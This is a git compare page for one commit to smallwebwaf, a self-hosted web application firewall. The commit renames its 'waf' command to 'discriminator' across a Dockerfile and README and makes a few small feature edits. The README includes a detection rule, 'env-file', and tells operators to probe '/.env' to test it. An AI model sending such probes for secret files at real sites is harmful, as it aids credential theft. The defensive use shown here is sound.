Compare commits
1
Commits
next
..
2bdecf2f34
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
2bdecf2f34 |
No files matched your search
+3
-3
@@ -155,7 +155,7 @@ RUN git checkout --quiet --detach b4b2c785308b1ce785b6155c7fe5f16879080193 \
|
|||||||
-o /usr/local/bin/runsvinit .
|
-o /usr/local/bin/runsvinit .
|
||||||
|
|
||||||
# The image, described under "Deployment" in SPEC.md. It runs rproxy unless
|
# The image, described under "Deployment" in SPEC.md. It runs rproxy unless
|
||||||
# SWW_COMMAND says waf, and an app's Dockerfile can build FROM it.
|
# SWW_COMMAND says discriminator, and an app's Dockerfile can build FROM it.
|
||||||
# It is the last stage, so a plain `docker build .` builds it.
|
# It is the last stage, so a plain `docker build .` builds it.
|
||||||
#
|
#
|
||||||
# ubuntu 26.04, 2026-09-27
|
# ubuntu 26.04, 2026-09-27
|
||||||
@@ -222,8 +222,8 @@ RUN groupadd --system --gid 65532 sww \
|
|||||||
sww
|
sww
|
||||||
|
|
||||||
# The state files' directory, SWW_STATE_DIR by default, where a volume
|
# The state files' directory, SWW_STATE_DIR by default, where a volume
|
||||||
# is mounted to keep them across deploys. At each start of waf, the run
|
# is mounted to keep them across deploys. The run script gives it to the
|
||||||
# script makes SWW_STATE_DIR if it is missing and gives it to the sww user.
|
# sww user at each start of discriminator.
|
||||||
RUN mkdir /var/lib/sww
|
RUN mkdir /var/lib/sww
|
||||||
|
|
||||||
# The default rule file, in SWW_RULES_DIR by default, where a Dockerfile
|
# The default rule file, in SWW_RULES_DIR by default, where a Dockerfile
|
||||||
|
|||||||
@@ -11,15 +11,16 @@ refuses the ones that look like abuse. `smallwebwaf` is one program, `sww`,
|
|||||||
shipped in one image, with two commands that do this together:
|
shipped in one image, with two commands that do this together:
|
||||||
|
|
||||||
- `sww rproxy` is a small reverse proxy in front of one app. traefik routes to
|
- `sww rproxy` is a small reverse proxy in front of one app. traefik routes to
|
||||||
it. It asks `waf` about each request, passes the allowed ones to the app, and
|
it. It asks `discriminator` about each request, passes the allowed ones to the
|
||||||
passes the app's answers back. It keeps nothing and never touches disk.
|
app, and passes the app's answers back. It keeps nothing and never touches
|
||||||
- `sww waf` decides. It runs the checks and keeps the bans, the counters and
|
disk.
|
||||||
each client's history. One `waf` serves many sites: a client banned through
|
- `sww discriminator` decides. It runs the checks and keeps the bans, the
|
||||||
one site is refused on all of them, and its requests on all of them count
|
counters and each client's history. One `discriminator` serves many sites: a
|
||||||
toward one set of limits.
|
client banned through one site is refused on all of them, and its requests on
|
||||||
|
all of them count toward one set of limits.
|
||||||
|
|
||||||
The site keeps answering while `waf` is down, slow or restarting: without an
|
The site keeps answering while `discriminator` is down, slow or restarting:
|
||||||
answer in time, `rproxy` passes the request to the app.
|
without an answer in time, `rproxy` passes the request to the app.
|
||||||
|
|
||||||
It protects against:
|
It protects against:
|
||||||
|
|
||||||
@@ -79,11 +80,11 @@ make docker
|
|||||||
|
|
||||||
Push the image to a registry your hosts pull from, and name it there by digest.
|
Push the image to a registry your hosts pull from, and name it there by digest.
|
||||||
|
|
||||||
The image runs `rproxy` by default. To run `waf` from the same image, set the
|
The image runs `rproxy` by default. To run `discriminator` from the same image,
|
||||||
container's `SWW_COMMAND` to `waf`. The image's health check follows the
|
set the container's `SWW_COMMAND` to `discriminator`. The image's health check
|
||||||
command: in `rproxy`'s container it passes once `rproxy` answers and the app
|
follows the command: in `rproxy`'s container it passes once `rproxy` answers and
|
||||||
accepts connections, whether or not `waf` answers; in `waf`'s container, once
|
the app accepts connections, whether or not `discriminator` answers; in
|
||||||
`waf` answers.
|
`discriminator`'s container, once `discriminator` answers.
|
||||||
|
|
||||||
### The usual setup: three containers
|
### The usual setup: three containers
|
||||||
|
|
||||||
@@ -91,24 +92,24 @@ The usual setup is three containers on one private network:
|
|||||||
|
|
||||||
- the app;
|
- the app;
|
||||||
- `rproxy`, in front of the app, which traefik routes to: `SWRP_WAF_BACKEND`
|
- `rproxy`, in front of the app, which traefik routes to: `SWRP_WAF_BACKEND`
|
||||||
names `waf` and `SWRP_UPSTREAM_URL` names the app;
|
names `discriminator` and `SWRP_UPSTREAM_URL` names the app;
|
||||||
- `waf`, with `SWW_COMMAND=waf` and a volume at `/var/lib/sww` for its state
|
- `discriminator`, with `SWW_COMMAND=discriminator` and a volume at
|
||||||
files.
|
`/var/lib/sww` for its state files.
|
||||||
|
|
||||||
Point traefik's labels at port 8080 of `rproxy`
|
Point traefik's labels at port 8080 of `rproxy`
|
||||||
(`traefik.http.services.<name>.loadbalancer.server.port=8080`). Publish no port
|
(`traefik.http.services.<name>.loadbalancer.server.port=8080`). Publish no port
|
||||||
of the app or of `waf`. Anything on that network can reach the app around
|
of the app or of `discriminator`. Anything on that network can reach the app
|
||||||
`rproxy`, and can ask `waf` questions, so the network holds only what you trust.
|
around `rproxy`, and can ask `discriminator` questions, so the network holds
|
||||||
Each further app adds its own container and its own `rproxy`, whose
|
only what you trust. Each further app adds its own container and its own
|
||||||
`SWRP_WAF_BACKEND` names the same `waf`. The "Smallest setup" example below
|
`rproxy`, whose `SWRP_WAF_BACKEND` names the same `discriminator`. The "Smallest
|
||||||
shows this shape.
|
setup" example below shows this shape.
|
||||||
|
|
||||||
### `rproxy` in the app's container
|
### `rproxy` in the app's container
|
||||||
|
|
||||||
An app's image can instead be built on the `smallwebwaf` image, so that `rproxy`
|
An app's image can instead be built on the `smallwebwaf` image, so that `rproxy`
|
||||||
runs beside the app in one container. `waf` still runs in a container of its
|
runs beside the app in one container. `discriminator` still runs in a container
|
||||||
own. The app's `Dockerfile` starts `FROM` the `smallwebwaf` image, named by
|
of its own. The app's `Dockerfile` starts `FROM` the `smallwebwaf` image, named
|
||||||
digest, and adds:
|
by digest, and adds:
|
||||||
|
|
||||||
- the app's binary;
|
- the app's binary;
|
||||||
- the packages the app needs, from the nixpkgs in the image;
|
- the packages the app needs, from the nixpkgs in the image;
|
||||||
@@ -168,25 +169,26 @@ does.
|
|||||||
- A log line with `"msg":"starting"` gives the version, the address and every
|
- A log line with `"msg":"starting"` gives the version, the address and every
|
||||||
setting in effect, with secrets masked.
|
setting in effect, with secrets masked.
|
||||||
- A request to the site through traefik gets the app's answer.
|
- A request to the site through traefik gets the app's answer.
|
||||||
`https://<site>/_sww/healthz` answers `ok`. `waf`'s log lines about the
|
`https://<site>/_sww/healthz` answers `ok`. `discriminator`'s log lines about
|
||||||
request have `"action":"forward"`.
|
the request have `"action":"forward"`.
|
||||||
- To see a refusal without banning yourself, run `waf` with `SWW_MODE=observe`
|
- To see a refusal without banning yourself, run `discriminator` with
|
||||||
and ask for `/.env`. The request reaches the app. `waf`'s log lines have
|
`SWW_MODE=observe` and ask for `/.env`. The request reaches the app.
|
||||||
`"would_action":"temporarily_banned"` and `"rule_ids":["env-file"]`. A ban you
|
`discriminator`'s log lines have `"would_action":"temporarily_banned"` and
|
||||||
get in `enforce` mode is lifted as "Clients and bans" below describes.
|
`"rule_ids":["env-file"]`. A ban you get in `enforce` mode is lifted as
|
||||||
|
"Clients and bans" below describes.
|
||||||
- With `SWW_METRICS_TOKEN` set, this answers with the metrics, from a host on
|
- With `SWW_METRICS_TOKEN` set, this answers with the metrics, from a host on
|
||||||
`waf`'s network:
|
`discriminator`'s network:
|
||||||
`curl -H "Authorization: Bearer $TOKEN" http://waf:8080/_sww/metrics`.
|
`curl -H "Authorization: Bearer $TOKEN" http://discriminator:8080/_sww/metrics`.
|
||||||
- `make example-app` builds the image and an app on it, runs them, and checks
|
- `make example-app` builds the image and an app on it, runs them, and checks
|
||||||
the whole exchange (see "Entrypoints").
|
the whole exchange (see "Entrypoints").
|
||||||
|
|
||||||
## Configuration
|
## Configuration
|
||||||
|
|
||||||
Every setting is an environment variable, read once at start; changing one means
|
Every setting is an environment variable, read once at start; changing one means
|
||||||
restarting the container. `rproxy` reads only the `SWRP_` settings, and `waf`
|
restarting the container. `rproxy` reads only the `SWRP_` settings, and
|
||||||
only the `SWW_` ones. Every setting but `SWRP_WAF_BACKEND` has a default, chosen
|
`discriminator` only the `SWW_` ones. Every setting but `SWRP_WAF_BACKEND` has a
|
||||||
for a service on the open internet. A setting that needs an account, a key, a
|
default, chosen for a service on the open internet. A setting that needs an
|
||||||
token or an alert destination stays off until you give one.
|
account, a key, a token or an alert destination stays off until you give one.
|
||||||
|
|
||||||
- Any `SWW_` setting can be given as a file instead, for secrets and long lists:
|
- Any `SWW_` setting can be given as a file instead, for secrets and long lists:
|
||||||
`SWW_ADMIN_TOKEN_FILE` names the file that holds `SWW_ADMIN_TOKEN`. The file's
|
`SWW_ADMIN_TOKEN_FILE` names the file that holds `SWW_ADMIN_TOKEN`. The file's
|
||||||
@@ -220,23 +222,23 @@ Every setting the code reads, with its default:
|
|||||||
|
|
||||||
| Variable | Default | What it does |
|
| Variable | Default | What it does |
|
||||||
| ---------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
| ---------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `waf`. |
|
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `discriminator`. |
|
||||||
| `SWRP_WAF_BACKEND` | required | `waf`'s URL, such as `http://waf:8080`. |
|
| `SWRP_WAF_BACKEND` | required | `discriminator`'s URL, such as `http://discriminator:8080`. |
|
||||||
| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
|
| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
|
||||||
| `SWRP_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
|
| `SWRP_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
|
||||||
| `SWRP_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
|
| `SWRP_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
|
||||||
| `SWRP_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `waf`'s answer to a question and to a report, in milliseconds. |
|
| `SWRP_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `discriminator`'s answer to a question and to a report, in milliseconds. |
|
||||||
| `SWRP_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `waf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
|
| `SWRP_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `discriminator` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
|
||||||
| `SWRP_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
|
| `SWRP_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
|
||||||
| `SWRP_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
|
| `SWRP_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
|
||||||
| `SWRP_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
|
| `SWRP_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
|
||||||
| `SWRP_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
|
| `SWRP_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
|
||||||
| `SWW_LISTEN_ADDR` | `:8080` | Where `waf` listens; leave the host part empty. |
|
| `SWW_LISTEN_ADDR` | `:8080` | Where `discriminator` listens; leave the host part empty. |
|
||||||
| `SWW_INSTANCE_NAME` | the container's host name | The name in every line `waf` logs, and in every alert and metric, such as `fsn1/waf`. |
|
| `SWW_INSTANCE_NAME` | the container's host name | The name in every line `discriminator` logs, and in every alert and metric, such as `fsn1/discriminator`. |
|
||||||
| `SWW_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
|
| `SWW_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
|
||||||
| `SWW_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
|
| `SWW_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
|
||||||
| `SWW_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
|
| `SWW_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
|
||||||
| `SWW_MAX_BANS` | `5000` | The most bans `waf` keeps of its own; bans an admin made do not count. |
|
| `SWW_MAX_BANS` | `5000` | The most bans `discriminator` keeps of its own; bans an admin made do not count. |
|
||||||
| `SWW_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
|
| `SWW_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
|
||||||
| `SWW_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
|
| `SWW_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
|
||||||
| `SWW_DENY_NETS` | empty | Netblocks whose clients are refused. |
|
| `SWW_DENY_NETS` | empty | Netblocks whose clients are refused. |
|
||||||
@@ -293,11 +295,10 @@ Every setting the code reads, with its default:
|
|||||||
| `SWW_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
|
| `SWW_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
|
||||||
| `SWW_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
|
| `SWW_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
|
||||||
| `SWW_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
|
| `SWW_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
|
||||||
| `SWW_STATE_COUNTER_INTERVAL` | `15m` | How often every state and cache file is written. |
|
| `SWW_STATE_COUNTER_INTERVAL` | `15m` | How often every state file is written. |
|
||||||
| `SWW_CACHE_DIR` | `/var/cache/sww` | The directory of the cache files, an absolute path. |
|
| `SWW_LOG_LEVEL` | `info` | The least severe of `discriminator`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
|
||||||
| `SWW_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
|
|
||||||
| `SWW_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
|
| `SWW_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
|
||||||
| `SWW_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
|
| `SWW_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `discriminator` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
|
||||||
| `SWW_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
|
| `SWW_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
|
||||||
| `SWW_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
|
| `SWW_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
|
||||||
| `SWW_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
|
| `SWW_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
|
||||||
@@ -350,8 +351,8 @@ own, where each reaches the others by service name. Each example publishes
|
|||||||
|
|
||||||
### Smallest setup
|
### Smallest setup
|
||||||
|
|
||||||
One app, `rproxy` in front of it, and `waf` with a volume for its state files,
|
One app, `rproxy` in front of it, and `discriminator` with a volume for its
|
||||||
every setting at its default.
|
state files, every setting at its default.
|
||||||
|
|
||||||
```yaml
|
```yaml
|
||||||
services:
|
services:
|
||||||
@@ -362,20 +363,20 @@ services:
|
|||||||
rproxy:
|
rproxy:
|
||||||
image: smallwebwaf
|
image: smallwebwaf
|
||||||
environment:
|
environment:
|
||||||
SWRP_WAF_BACKEND: http://waf:8080
|
SWRP_WAF_BACKEND: http://discriminator:8080
|
||||||
SWRP_UPSTREAM_URL: http://app:8081
|
SWRP_UPSTREAM_URL: http://app:8081
|
||||||
ports:
|
ports:
|
||||||
- "8080:8080"
|
- "8080:8080"
|
||||||
|
|
||||||
waf:
|
discriminator:
|
||||||
image: smallwebwaf
|
image: smallwebwaf
|
||||||
environment:
|
environment:
|
||||||
SWW_COMMAND: waf
|
SWW_COMMAND: discriminator
|
||||||
volumes:
|
volumes:
|
||||||
- waf-state:/var/lib/sww
|
- discriminator-state:/var/lib/sww
|
||||||
|
|
||||||
volumes:
|
volumes:
|
||||||
waf-state:
|
discriminator-state:
|
||||||
```
|
```
|
||||||
|
|
||||||
### Custom per-address limits
|
### Custom per-address limits
|
||||||
@@ -398,15 +399,15 @@ services:
|
|||||||
rproxy:
|
rproxy:
|
||||||
image: smallwebwaf
|
image: smallwebwaf
|
||||||
environment:
|
environment:
|
||||||
SWRP_WAF_BACKEND: http://waf:8080
|
SWRP_WAF_BACKEND: http://discriminator:8080
|
||||||
SWRP_UPSTREAM_URL: http://app:8081
|
SWRP_UPSTREAM_URL: http://app:8081
|
||||||
ports:
|
ports:
|
||||||
- "8080:8080"
|
- "8080:8080"
|
||||||
|
|
||||||
waf:
|
discriminator:
|
||||||
image: smallwebwaf
|
image: smallwebwaf
|
||||||
environment:
|
environment:
|
||||||
SWW_COMMAND: waf
|
SWW_COMMAND: discriminator
|
||||||
# Monitoring skips every check.
|
# Monitoring skips every check.
|
||||||
SWW_ALLOW_NETS: 192.0.2.10
|
SWW_ALLOW_NETS: 192.0.2.10
|
||||||
# The office and the automation host are never rate limited.
|
# The office and the automation host are never rate limited.
|
||||||
@@ -425,18 +426,18 @@ services:
|
|||||||
SWW_BAN_RESPONSE: "429"
|
SWW_BAN_RESPONSE: "429"
|
||||||
SWW_LIMIT_BAN_DURATION: 30m
|
SWW_LIMIT_BAN_DURATION: 30m
|
||||||
volumes:
|
volumes:
|
||||||
- waf-state:/var/lib/sww
|
- discriminator-state:/var/lib/sww
|
||||||
|
|
||||||
volumes:
|
volumes:
|
||||||
waf-state:
|
discriminator-state:
|
||||||
```
|
```
|
||||||
|
|
||||||
### `rproxy` beside the app
|
### `rproxy` beside the app
|
||||||
|
|
||||||
The app is built on the `smallwebwaf` image, with `rproxy` inside its container.
|
The app is built on the `smallwebwaf` image, with `rproxy` inside its container.
|
||||||
`app/` holds the `Dockerfile` and `app.run` from "`rproxy` in the app's
|
`app/` holds the `Dockerfile` and `app.run` from "`rproxy` in the app's
|
||||||
container". `rproxy` answers `503` to every request while `waf` is down, and
|
container". `rproxy` answers `503` to every request while `discriminator` is
|
||||||
`waf`:
|
down, and `discriminator`:
|
||||||
|
|
||||||
- observes before it enforces;
|
- observes before it enforces;
|
||||||
- looks addresses up in a local database rather than GeoJS;
|
- looks addresses up in a local database rather than GeoJS;
|
||||||
@@ -449,17 +450,17 @@ services:
|
|||||||
# A Dockerfile built FROM the smallwebwaf image, with rproxy inside.
|
# A Dockerfile built FROM the smallwebwaf image, with rproxy inside.
|
||||||
build: ./app
|
build: ./app
|
||||||
environment:
|
environment:
|
||||||
SWRP_WAF_BACKEND: http://waf:8080
|
SWRP_WAF_BACKEND: http://discriminator:8080
|
||||||
# Answer 503 rather than pass a request on while waf is down.
|
# Answer 503 rather than pass a request on while discriminator is down.
|
||||||
SWRP_DEFAULT_DISPOSITION: deny
|
SWRP_DEFAULT_DISPOSITION: deny
|
||||||
ports:
|
ports:
|
||||||
- "8080:8080"
|
- "8080:8080"
|
||||||
|
|
||||||
waf:
|
discriminator:
|
||||||
image: smallwebwaf
|
image: smallwebwaf
|
||||||
environment:
|
environment:
|
||||||
SWW_COMMAND: waf
|
SWW_COMMAND: discriminator
|
||||||
SWW_INSTANCE_NAME: fsn1/waf
|
SWW_INSTANCE_NAME: fsn1/discriminator
|
||||||
# Refuse nothing yet; log what enforce mode would have done.
|
# Refuse nothing yet; log what enforce mode would have done.
|
||||||
SWW_MODE: observe
|
SWW_MODE: observe
|
||||||
# Look addresses up in a local IPinfo Lite database, never GeoJS.
|
# Look addresses up in a local IPinfo Lite database, never GeoJS.
|
||||||
@@ -470,12 +471,12 @@ services:
|
|||||||
SWW_ALERT_NTFY_TOKEN_FILE: /etc/sww/tokens/ntfy
|
SWW_ALERT_NTFY_TOKEN_FILE: /etc/sww/tokens/ntfy
|
||||||
SWW_ALERT_EVENTS: ban,permanent_ban,core_rule_set_match,source_failure,file_error
|
SWW_ALERT_EVENTS: ban,permanent_ban,core_rule_set_match,source_failure,file_error
|
||||||
volumes:
|
volumes:
|
||||||
- waf-state:/var/lib/sww
|
- discriminator-state:/var/lib/sww
|
||||||
- /srv/ipinfo:/var/lib/ipinfo:ro
|
- /srv/ipinfo:/var/lib/ipinfo:ro
|
||||||
- /srv/sww/tokens:/etc/sww/tokens:ro
|
- /srv/sww/tokens:/etc/sww/tokens:ro
|
||||||
|
|
||||||
volumes:
|
volumes:
|
||||||
waf-state:
|
discriminator-state:
|
||||||
```
|
```
|
||||||
|
|
||||||
The database is mounted by its directory, not by file, so that a replaced
|
The database is mounted by its directory, not by file, so that a replaced
|
||||||
@@ -497,21 +498,20 @@ How it works inside. [`SPEC.md`](SPEC.md) gives every rule in full, and why.
|
|||||||
|
|
||||||
### What happens to a request
|
### What happens to a request
|
||||||
|
|
||||||
A request goes through these steps, in this order. Once `waf` refuses a request,
|
A request goes through these steps, in this order. Once `discriminator` refuses
|
||||||
the steps after that are skipped, apart from the report, and nothing of the
|
a request, the steps after that are skipped, apart from the report, and nothing
|
||||||
request reaches the app.
|
of the request reaches the app.
|
||||||
|
|
||||||
`rproxy` takes the first two:
|
`rproxy` takes the first two:
|
||||||
|
|
||||||
1. The health check, `GET /_sww/healthz`, is answered at once.
|
1. The health check, `GET /_sww/healthz`, is answered at once.
|
||||||
2. The visitor's address is worked out from `X-Forwarded-For`, believed only
|
2. The visitor's address is worked out from `X-Forwarded-For`, believed only
|
||||||
from `SWRP_TRUSTED_PROXIES`. `rproxy` sends `waf` the request as the visitor
|
from `SWRP_TRUSTED_PROXIES`. `rproxy` sends `discriminator` the request as
|
||||||
sent it, with the first 64 KiB of its body.
|
the visitor sent it, with the first 64 KiB of its body.
|
||||||
|
|
||||||
`waf` takes the checks:
|
`discriminator` takes the checks:
|
||||||
|
|
||||||
3. The header limits, then the tag lists. A client in `SWW_ALLOW_NETS` skips the
|
3. The tag lists.
|
||||||
header limits.
|
|
||||||
4. The static lists, `SWW_ALLOW_NETS` and `SWW_DENY_NETS`.
|
4. The static lists, `SWW_ALLOW_NETS` and `SWW_DENY_NETS`.
|
||||||
5. The bans.
|
5. The bans.
|
||||||
6. The lookup of the client's AS number and country.
|
6. The lookup of the client's AS number and country.
|
||||||
@@ -523,23 +523,23 @@ request reaches the app.
|
|||||||
11. The rate limits.
|
11. The rate limits.
|
||||||
12. The trap paths.
|
12. The trap paths.
|
||||||
13. The rule files.
|
13. The rule files.
|
||||||
14. The Core Rule Set.
|
14. The header limits, and then the Core Rule Set.
|
||||||
15. The tag refusals again, so that `exploitsignature` can refuse too.
|
15. The tag refusals again, so that `exploitsignature` can refuse too.
|
||||||
16. A path under `/_sww/` is answered `404`, so that the app never sees that
|
16. A path under `/_sww/` is answered `404`, so that the app never sees that
|
||||||
prefix.
|
prefix.
|
||||||
|
|
||||||
`rproxy` takes the rest, with `waf` counting at the end:
|
`rproxy` takes the rest, with `discriminator` counting at the end:
|
||||||
|
|
||||||
17. The request is passed to the app, streaming.
|
17. The request is passed to the app, streaming.
|
||||||
18. After the answer, `rproxy` sends `waf` a report with the status and the body
|
18. After the answer, `rproxy` sends `discriminator` a report with the status
|
||||||
bytes each way. For an allowed request, `waf` counts the bytes
|
and the body bytes each way. For an allowed request, `discriminator` counts
|
||||||
`SWW_BYTES_COUNT` names toward the byte limits, bans the client if they take
|
the bytes `SWW_BYTES_COUNT` names toward the byte limits, bans the client if
|
||||||
it past one, and adds the request to the client's history.
|
they take it past one, and adds the request to the client's history.
|
||||||
|
|
||||||
A refused visitor is answered with `SWW_BAN_RESPONSE`. A `block` rule or a Core
|
A refused visitor is answered with `SWW_BAN_RESPONSE`. A `block` rule or a Core
|
||||||
Rule Set match answers `403` and bans nobody, since the Core Rule Set has false
|
Rule Set match answers `403` and bans nobody, since the Core Rule Set has false
|
||||||
positives; such refusals count toward `SWW_ERROR_BURST_THRESHOLD` instead. A
|
positives; such refusals count toward `SWW_ERROR_BURST_THRESHOLD` instead. A
|
||||||
request over the header limits of step 3 is answered `431`, and bans nobody
|
request over the header limits of step 14 is answered `431`, and bans nobody
|
||||||
either. `rproxy` itself answers `405` to a method it does not pass on, and the
|
either. `rproxy` itself answers `405` to a method it does not pass on, and the
|
||||||
status for a size or time limit, such as `413` for a body too large.
|
status for a size or time limit, such as `413` for a body too large.
|
||||||
|
|
||||||
@@ -560,8 +560,8 @@ status for a size or time limit, such as `413` for a body too large.
|
|||||||
|
|
||||||
### Request tags
|
### Request tags
|
||||||
|
|
||||||
Each request gets tags from what `waf` knows of its client, written in the
|
Each request gets tags from what `discriminator` knows of its client, written in
|
||||||
`tags` field of its log line:
|
the `tags` field of its log line:
|
||||||
|
|
||||||
- `asn=<number>` and `country=<code>`, from the lookup;
|
- `asn=<number>` and `country=<code>`, from the lookup;
|
||||||
- one tag per list of `SWW_TAG_LISTS` that holds the client, such as `torexit`
|
- one tag per list of `SWW_TAG_LISTS` that holds the client, such as `torexit`
|
||||||
@@ -581,7 +581,7 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
|||||||
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
|
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
|
||||||
front of a code forge, bodies carry what people write and publish, which the
|
front of a code forge, bodies carry what people write and publish, which the
|
||||||
rules take for attacks.
|
rules take for attacks.
|
||||||
- `smallwebwaf` changes the Core Rule Set in fifteen ways so that ordinary
|
- `smallwebwaf` changes the Core Rule Set in fourteen ways so that ordinary
|
||||||
requests get through to the apps listed below. No setting undoes the changes;
|
requests get through to the apps listed below. No setting undoes the changes;
|
||||||
"Attack detection" in [`SPEC.md`](SPEC.md) lists them.
|
"Attack detection" in [`SPEC.md`](SPEC.md) lists them.
|
||||||
- These apps work out of the box at the default settings, and their recorded
|
- These apps work out of the box at the default settings, and their recorded
|
||||||
@@ -589,9 +589,6 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
|||||||
- gitea: git over HTTP and sign-in through Git Credential Manager get
|
- gitea: git over HTTP and sign-in through Git Credential Manager get
|
||||||
through. On gitea's own paths, its searches, file names and branch names
|
through. On gitea's own paths, its searches, file names and branch names
|
||||||
do too.
|
do too.
|
||||||
- Forgejo: git over HTTP and its container and package registries get
|
|
||||||
through. On Forgejo's own paths, its searches, file names and branch names
|
|
||||||
do too.
|
|
||||||
- WordPress: saving a post from the block editor gets through. On
|
- WordPress: saving a post from the block editor gets through. On
|
||||||
WordPress's own paths, its searches, names and file names do too.
|
WordPress's own paths, its searches, names and file names do too.
|
||||||
- Drupal: on Drupal's own paths, the page to return to, its searches and its
|
- Drupal: on Drupal's own paths, the page to return to, its searches and its
|
||||||
@@ -615,32 +612,18 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
|||||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
||||||
fields or paths.
|
fields or paths.
|
||||||
- Rule files are plain text, one rule to a line, edited by hand and read again
|
- Rule files are plain text, one rule to a line, edited by hand and read again
|
||||||
while `waf` runs. The image ships one file of probes no real visitor sends
|
while `discriminator` runs. The image ships one file of probes no real visitor
|
||||||
(see [`docs/rules.md`](docs/rules.md)).
|
sends (see [`docs/rules.md`](docs/rules.md)).
|
||||||
|
|
||||||
### State and cache files
|
### State files
|
||||||
|
|
||||||
`waf` keeps everything in memory, and JSON files hold a copy:
|
`discriminator` keeps everything in memory, and the five JSON files in
|
||||||
|
`SWW_STATE_DIR` hold a copy: `bans.json`, `clients.json`, `lookups.json`,
|
